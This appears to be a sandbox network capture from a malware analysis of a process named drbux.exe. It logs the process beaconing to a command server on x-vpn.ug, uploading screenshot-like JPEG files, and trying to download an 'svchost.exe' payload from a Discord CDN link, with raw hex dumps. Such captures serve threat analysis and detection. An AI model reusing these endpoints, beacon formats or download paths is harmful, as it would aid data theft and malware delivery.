Jul 19, 2021 18:37:06.175223112 CEST	22837	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:06.175445080 CEST	22840	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:06.175484896 CEST	22842	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:06.175561905 CEST	22851	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:06.175612926 CEST	22860	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:37:06.176893950 CEST	22862	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:37:06.268727064 CEST	22876	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:37:06.270119905 CEST	22913	OUT	Data Raw: ce 72 a2 bc df 65 3b ec 57 b1 a9 cc 9b 92 67 47 6b 6b 08 b7 bd 02 fe dc e6 10 09 0b 27 1f bc 4e 4f cb fe 73 56 bc 3f 6f 14 7a e5 bb 2d ec 12 11 bb e4 45 7c 9f 94 fa a8 15 87 1f 8d be 1b 44 93 20 f1 15 c6 25 4d 8d 9b 69 7a 6e 0d c7 ee bd 40 a9 2c Data Ascii: re;WgGkk'NOsV?oz-E\|D %Mizn@,\|y;E;:g GcXy~3?XSj,omd-/'pyMzQ&(p5h8_IfK_?i7jO8tD[&dkA;\|?

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.6	50127	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:06.291248083 CEST	22913	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:06.391385078 CEST	22921	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.6	50128	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:06.590910912 CEST	22922	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:06.671201944 CEST	22936	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49774	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:42.259552956 CEST	4531	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000002001&unit=152138533219
Jul 19, 2021 18:35:42.353578091 CEST	4539	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.6	50129	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:06.650887012 CEST	22923	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:06.651084900 CEST	22923	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:06.651341915 CEST	22933	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:06.651545048 CEST	22936	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:06.748439074 CEST	22939	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:06.748473883 CEST	22944	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:06.749023914 CEST	22952	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:06.749044895 CEST	22955	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:37:06.750708103 CEST	22959	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:37:06.750888109 CEST	22962	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:37:06.844540119 CEST	22967	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:37:07.052594900 CEST	23022	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.6	50130	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:06.885662079 CEST	23013	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:06.977572918 CEST	23021	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49775	162.159.129.233	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:42.399424076 CEST	4540	OUT	GET /attachments/837741922641903637/866064264027701248/svchost.exe HTTP/1.1 Host: cdn.discordapp.com
Jul 19, 2021 18:35:42.452244997 CEST	4541	IN	HTTP/1.1 200 OK Date: Mon, 19 Jul 2021 16:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN cf-request-id: 0b6138a4e20000d6bdc8182000000001 X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nceRBFgqQbOpKpmL921E3v7%2FN1DsiLr9iHRYGxjsvVEY5eMxpaqODu%2BlQtLFARCg6EQPgWlp1FrqI9Z79hBNcq51Wj%2FSmC%2FMURsMYQrGax583Gdbh5spXwdZsUCXcgPKsCXqQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67155d4e3e61d6bd-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 31 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e 67 20 73 69 74 65 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 Data Ascii: 1106<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noind
Jul 19, 2021 18:35:42.452290058 CEST	4543	IN	Data Raw: 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: ex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />...[if lt IE 9]><link rel="styl
Jul 19, 2021 18:35:42.453737974 CEST	4544	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="cf-columns two"> <div class="cf-column"> <h2>What is phishing?</h2> <p>This link has been flagged as phishing. Phishing is an attempt to acquire personal information such as passwords and
Jul 19, 2021 18:35:42.454266071 CEST	4545	IN	Data Raw: 68 69 73 68 69 6e 67 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 54 72 75 73 74 20 26 61 6d 70 3b 20 53 61 66 65 74 79 20 74 65 61 6d 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 20 20 20 20 20 Data Ascii: hishing please contact the Trust & Safety team for more information.</p> </div> </div> </div>... /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center
Jul 19, 2021 18:35:42.454287052 CEST	4545	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	49776	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:42.593055964 CEST	4546	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:42.593137026 CEST	4546	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:42.593364954 CEST	4556	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
